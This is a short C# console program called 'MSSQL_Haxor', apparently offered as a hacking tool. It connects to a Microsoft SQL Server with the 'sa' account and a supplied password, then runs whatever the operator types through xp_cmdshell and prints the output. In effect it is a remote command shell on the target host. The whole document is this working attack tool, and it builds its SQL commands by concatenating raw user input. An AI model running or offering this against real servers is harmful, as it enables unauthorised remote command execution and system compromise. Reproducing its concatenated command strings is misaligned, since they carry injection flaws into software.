using System; using System.Data.SqlClient; using System.Data.OleDb; namespace MSSQL_Haxor { /// /// Summary description for Class1. /// class Class1 { /// /// The main entry point for the application. /// [STAThread] static void Main(string[] args) { Console.WriteLine("Input MSSQL-Server Ip-address"); string ipa = Console.ReadLine(); Console.WriteLine("Input SQL server 'sa' account password:"); string pwd = Console.ReadLine(); SqlConnection nwindConn = new SqlConnection("Data Source="+ipa+";UID=sa;PWD="+pwd+";"); try { nwindConn.Open(); Console.WriteLine("\n Connected. Type Commands.\n"); } catch { Console.WriteLine("\n Cant Connect. Host not active or invalid password.\n"); } while (true) { Console.Write("\\>"); string cmd = Console.ReadLine(); if (cmd=="") { break; } SqlCommand myCommand = new SqlCommand("Xp_cmdshell '"+cmd+"'",nwindConn); SqlDataReader DR; DR=myCommand.ExecuteReader(); while (DR.Read()) { Console.WriteLine(DR[0].ToString()); } DR.Close(); } } } }